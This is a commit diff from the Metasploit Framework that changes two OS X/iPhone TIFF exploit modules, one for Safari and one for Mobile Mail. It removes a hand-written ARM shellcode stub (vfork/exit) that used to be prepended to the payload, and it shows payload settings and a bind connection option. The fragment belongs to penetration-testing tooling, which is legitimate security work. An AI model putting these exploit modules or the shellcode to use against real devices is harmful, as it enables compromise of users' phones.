Remove the fork() prepend, since its now done properly in the shellcode
git-svn-id: file:///home/svn/framework3/trunk@5186 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
96c56ab760
commit
c6b9084a50
|
@ -42,19 +42,7 @@ class Exploits::Osx::Browser::SafariLibTIFF < Msf::Exploit::Remote
|
|||
'Payload' =>
|
||||
{
|
||||
'Space' => 1800,
|
||||
'BadChars' => "",
|
||||
|
||||
# Multi-threaded applications are not allowed to execve() on OS X
|
||||
# This stub injects a vfork/exit in front of the payload
|
||||
'Prepend' =>
|
||||
[
|
||||
0xe3a0c042, # vfork
|
||||
0xef000080, # sc
|
||||
0xe3500000, # cmp r0, #0
|
||||
0x1a000001, # bne
|
||||
0xe3a0c001, # exit(0)
|
||||
0xef000080 # sc
|
||||
].pack("V*")
|
||||
'BadChars' => ""
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
|
|
|
@ -48,18 +48,6 @@ class Exploits::Osx::Email::MobileMailTIFF < Msf::Exploit::Remote
|
|||
{
|
||||
'ConnectionType' => '-bind -find',
|
||||
},
|
||||
|
||||
# Multi-threaded applications are not allowed to execve() on OS X
|
||||
# This stub injects a vfork/exit in front of the payload
|
||||
'Prepend' =>
|
||||
[
|
||||
0xe3a0c042, # vfork
|
||||
0xef000080, # sc
|
||||
0xe3500000, # cmp r0, #0
|
||||
0x1a000001, # bne
|
||||
0xe3a0c001, # exit(0)
|
||||
0xef000080 # sc
|
||||
].pack("V*")
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
|
|
Loading…
Reference in New Issue